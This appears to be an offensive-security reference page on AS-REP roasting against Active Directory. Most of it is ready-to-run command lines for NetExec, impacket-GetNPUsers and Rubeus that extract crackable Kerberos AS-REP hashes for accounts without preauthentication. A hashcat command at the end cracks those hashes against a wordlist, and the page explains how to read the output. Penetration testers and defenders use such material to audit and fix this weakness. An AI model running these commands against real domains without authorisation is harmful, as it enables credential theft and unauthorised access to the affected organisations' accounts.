# AS-REP roastable account enumeration

- **URL:** https://hackindex.io/services/kerberos/enumeration/as-rep-roastable-account-enumeration
- **Path:** Kerberos > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/kerberos/enumeration.md)
- **Published:** 2026-01-04
- **Updated:** 2026-05-15

AS-REP roasting targets accounts with **“Do not require Kerberos preauthentication”** set. For those users, a KDC will return an AS-REP that contains crackable material derived from the user’s long-term key. Output is typically `$krb5asrep$23$...` for Hashcat mode **18200**.

## AS-REP roastable accounts: what to capture

For each hit:

- Username (`user@domain` in the hash line)
- Hash line (`$krb5asrep$23$...`)
- Source KDC (`$TARGET_IP`) and realm (`$DOMAIN`)
- How the target list was built (users.txt vs LDAP discovery)

## nxc AS-REP roasting (LDAP workflow)

NetExec can extract AS-REP hashes using a supplied username list. Password can be empty (`''`) for no-auth testing.

Listing + extraction from a user list (no password):

```bash
nxc ldap $TARGET_IP -u users.txt -p '' --asreproast asrep.hashes
```

Single user probe (no password):

```bash
nxc ldap $TARGET_IP -u "$USER" -p '' --asreproast asrep.hashes
```

With credentials (same output, often more reliable in locked-down environments):

```bash
nxc ldap $TARGET_IP -u "$USER" -p "$PASSWORD" --asreproast asrep.hashes
```

If domain name resolution breaks Kerberos flows, pin the KDC host explicitly:

```bash
nxc ldap $TARGET_IP -u "$USER" -p "$PASSWORD" --asreproast asrep.hashes --kdcHost $TARGET_IP
```

What output looks like (hashcat format):

```
$krb5asrep$23$user@$DOMAIN:3bb2b7e5e29c08c4...$1a2b3c4d5e6f...
```

Interpretation:

- Any `$krb5asrep$23$...` line is a confirmed roastable user.
- No hits usually means either no-preauth isn’t set anywhere, the username list is wrong, or requests are being rate-limited/filtered.

## impacket-GetNPUsers (targeted or discovery)

Impacket supports both “identify roastable users” and “request the crackable blob”. `-request` is the switch that actually pulls the hash material.

From a username list (most common):

```bash
impacket-GetNPUsers "$DOMAIN/" -no-pass -usersfile users.txt -dc-ip $TARGET_IP -request -format hashcat -outputfile asrep.hashes
```

Single user check:

```bash
impacket-GetNPUsers "$DOMAIN/$USER" -no-pass -dc-ip $TARGET_IP -request -format hashcat -outputfile asrep.hashes
```

Authenticated LDAP discovery + extraction (no usersfile required):

```bash
impacket-GetNPUsers "$DOMAIN/$USER:$PASSWORD" -dc-ip $TARGET_IP -request -format hashcat -outputfile asrep.hashes
```

Interpretation:

- With `-usersfile`, results depend entirely on username validity. Feed it confirmed users from Kerberos valid-user enumeration.
- Without `-usersfile`, authenticated mode can discover candidates via LDAP and then request AS-REPs.

## Windows-side extraction with Rubeus

On a domain-joined Windows host (or anywhere Rubeus can reach the DC), extract directly.

Domain-wide run (default domain context):

```bash
Rubeus.exe asreproast /format:hashcat /outfile:asrep.hashes
```

Targeted list:

```bash
Rubeus.exe asreproast /users:C:\Temp\users.txt /format:hashcat /outfile:asrep.hashes
```

Target a single user:

```bash
Rubeus.exe asreproast /user:$USER /format:hashcat /outfile:asrep.hashes
```

Interpretation:

- Hits are output as hashcat/john formats and can be moved offline immediately.

## Next move with results (offline)

Hashcat mode for Kerberos AS-REP etype 23 is **18200**.

```bash
hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt
```

To confirm the finding and assess severity by group membership and password age before cracking, see [Kerberos Pre-Authentication Not Required](https://hackindex.io/services/kerberos/vulnerability-discovery/kerberos-pre-auth-not-required). For cracking and post-crack lateral movement, see [AS-REP Roasting](https://hackindex.io/services/kerberos/exploitation/asrep-roasting) and [AD AS-REP Roasting](https://hackindex.io/platforms/active-directory/exploitation/as-rep-roasting).

## References

- [NetExec ASREPRoast](https://www.netexec.wiki/ldap-protocol/asreproast) - --asreproast usage and no-auth empty password behavior
- [Impacket](https://github.com/fortra/impacket) - Provides impacket-GetNPUsers and AS-REP extraction options
- [GetNPUsers.py notes](https://tools.thehacker.recipes/impacket/examples/getnpusers.py) - -request / -usersfile behavior and output formats
- [Rubeus asreproast](https://docs.specterops.io/ghostpack-docs/Rubeus-mdx/commands/roasting/asreproast) - /format and /outfile options and Hashcat 18200 mapping